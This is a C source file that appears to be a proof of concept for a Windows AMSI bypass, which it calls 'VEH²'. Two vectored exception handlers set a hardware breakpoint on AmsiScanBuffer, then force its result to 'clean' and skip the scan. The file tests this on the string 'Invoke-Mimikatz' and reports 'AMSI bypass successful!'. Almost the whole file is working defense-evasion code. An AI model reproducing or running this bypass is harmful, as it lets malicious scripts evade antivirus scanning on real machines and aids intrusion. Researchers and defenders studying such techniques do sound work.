#include <windows.h>
#include <stdio.h>

PVOID pAmsiScanBuffer = NULL;

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} AMSI_RESULT;

// Structure pour les flags du registre DR7
typedef union {
    DWORD_PTR value;
    struct {
        DWORD L0 : 1;    // Local breakpoint 0
        DWORD G0 : 1;    // Global breakpoint 0
        DWORD L1 : 1;    // Local breakpoint 1
        DWORD G1 : 1;    // Global breakpoint 1
        DWORD L2 : 1;    // Local breakpoint 2
        DWORD G2 : 1;    // Global breakpoint 2
        DWORD L3 : 1;    // Local breakpoint 3
        DWORD G3 : 1;    // Global breakpoint 3
        DWORD LE : 1;    // Local exact breakpoint
        DWORD GE : 1;    // Global exact breakpoint
        DWORD Reserved1 : 3;
        DWORD GD : 1;    // General detect
        DWORD Reserved2 : 2;
        DWORD RW0 : 2;   // Read/Write field for BP0
        DWORD LEN0 : 2;  // Length field for BP0
        DWORD RW1 : 2;   // Read/Write field for BP1
        DWORD LEN1 : 2;  // Length field for BP1
        DWORD RW2 : 2;   // Read/Write field for BP2
        DWORD LEN2 : 2;  // Length field for BP2
        DWORD RW3 : 2;   // Read/Write field for BP3
        DWORD LEN3 : 2;  // Length field for BP3
    };
} DR7_FLAGS;

void setHardwareBreakpoint(PCONTEXT pContext, int bpIndex, void* address, int type, int size) {

    if (bpIndex < 0 || bpIndex > 3) {
        return;
    }

    switch (bpIndex) {
        case 0:
            pContext->Dr0 = (DWORD_PTR)address;
            break;
        case 1:
            pContext->Dr1 = (DWORD_PTR)address;
            break;
        case 2:
            pContext->Dr2 = (DWORD_PTR)address;
            break;
        case 3:
            pContext->Dr3 = (DWORD_PTR)address;
            break;
    }

    DR7_FLAGS dr7;
    dr7.value = pContext->Dr7;
    switch (bpIndex) {
        case 0:
            dr7.L0 = 1;
            dr7.RW0 = type;
            dr7.LEN0 = size;
            break;
        case 1:
            dr7.L1 = 1;
            dr7.RW1 = type;
            dr7.LEN1 = size;
            break;
        case 2:
            dr7.L2 = 1;
            dr7.RW2 = type;
            dr7.LEN2 = size;
            break;
        case 3:
            dr7.L3 = 1;
            dr7.RW3 = type;
            dr7.LEN3 = size;
            break;
    }
    pContext->Dr7 = dr7.value;
}

void clearHardwareBreakpoint(PCONTEXT pContext, int bpIndex) {
    if (bpIndex < 0 || bpIndex > 3) {
        return;
    }

    DR7_FLAGS dr7;
    dr7.value = pContext->Dr7;

    switch (bpIndex) {
        case 0:
            pContext->Dr0 = 0;
            dr7.L0 = 0;
            dr7.RW0 = 0;
            dr7.LEN0 = 0;
            break;
        case 1:
            pContext->Dr1 = 0;
            dr7.L1 = 0;
            dr7.RW1 = 0;
            dr7.LEN1 = 0;
            break;
        case 2:
            pContext->Dr2 = 0;
            dr7.L2 = 0;
            dr7.RW2 = 0;
            dr7.LEN2 = 0;
            break;
        case 3:
            pContext->Dr3 = 0;
            dr7.L3 = 0;
            dr7.RW3 = 0;
            dr7.LEN3 = 0;
            break;
    }
    pContext->Dr7 = dr7.value;
}

LONG WINAPI Handler(PEXCEPTION_POINTERS ExceptionInfo) {
    printf("[VEH1] DebugBreakVEH\n");

    PEXCEPTION_RECORD ExceptionRecord = ExceptionInfo->ExceptionRecord;
    if (ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
        printf("[VEH1] ExceptionCode: EXCEPTION_BREAKPOINT\n");

        printf("[VEH1] Setting hardware breakpoint on AmsiScanBuffer: %p\n", pAmsiScanBuffer);

        setHardwareBreakpoint(ExceptionInfo->ContextRecord, 0, (void*)pAmsiScanBuffer, 0, 0);
        
        // Manually advance the instruction pointer to the next instruction
        ExceptionInfo->ContextRecord->Rip++;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

LONG WINAPI AmsiScanBufferVEH(PEXCEPTION_POINTERS ExceptionInfo) {
    printf("[VEH2] AmsiScanBufferVEH\n");

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        printf("[VEH2] ExceptionCode: EXCEPTION_SINGLE_STEP\n");

        if (ExceptionInfo->ExceptionRecord->ExceptionAddress == pAmsiScanBuffer) {
            printf("[VEH2] Hardware breakpoint hit on AmsiScanBuffer\n");

            // Clear the hardware breakpoint
            clearHardwareBreakpoint(ExceptionInfo->ContextRecord, 0);

            // Set return value to S_OK (0)
            ExceptionInfo->ContextRecord->Rax = 0;

            // Set amsiResult to AMSI_RESULT_CLEAN
            AMSI_RESULT* amsiResult = (AMSI_RESULT*) *( (DWORD_PTR*) (ExceptionInfo->ContextRecord->Rsp + 0x30) );
            *amsiResult = AMSI_RESULT_CLEAN;
            printf("[VEH2] Patched AmsiScanBuffer result to: %d\n", *amsiResult);

            // Skip AmsiScanBuffer execution
            ExceptionInfo->ContextRecord->Rip = *( (DWORD_PTR*) ExceptionInfo->ContextRecord->Rsp);
            ExceptionInfo->ContextRecord->Rsp += 8;
            
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    LoadLibraryA("amsi.dll");
    pAmsiScanBuffer = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer");
    printf("AmsiScanBuffer address: %p\n", pAmsiScanBuffer);

    // Register two VEHs (thus the name VEH²) using AddVectoredExceptionHandler:
    PVOID VEH1 = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
    PVOID VEH2 = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)AmsiScanBufferVEH);

    printf("Press Enter to trigger DebugBreak...\n");
    getchar();

    //DebugBreak();

    AMSI_RESULT result = AMSI_RESULT_DETECTED; // Initially detected

    printf("Calling AmsiScanBuffer with a malicious string...\n");
    HRESULT hr = ((HRESULT(*)(PVOID, PVOID, ULONG, PCWSTR, PVOID, PVOID))pAmsiScanBuffer)(NULL, (PVOID)"Invoke-Mimikatz", 9, L"AMSI_BYPASS_TEST", NULL, &result);
    printf("AmsiScanBuffer HRESULT: 0x%x\n", hr);
    printf("AmsiScanBuffer result: %d (0=clean, 1=not_detected, ... 4=detected)\n", result);

    if (result == AMSI_RESULT_CLEAN) {
        printf("AMSI bypass successful!\n");
    } else {
        printf("AMSI bypass failed.\n");
    }

    // Unregister VEHs
    RemoveVectoredExceptionHandler(VEH2);
    RemoveVectoredExceptionHandler(VEH1);

    return 0;
}   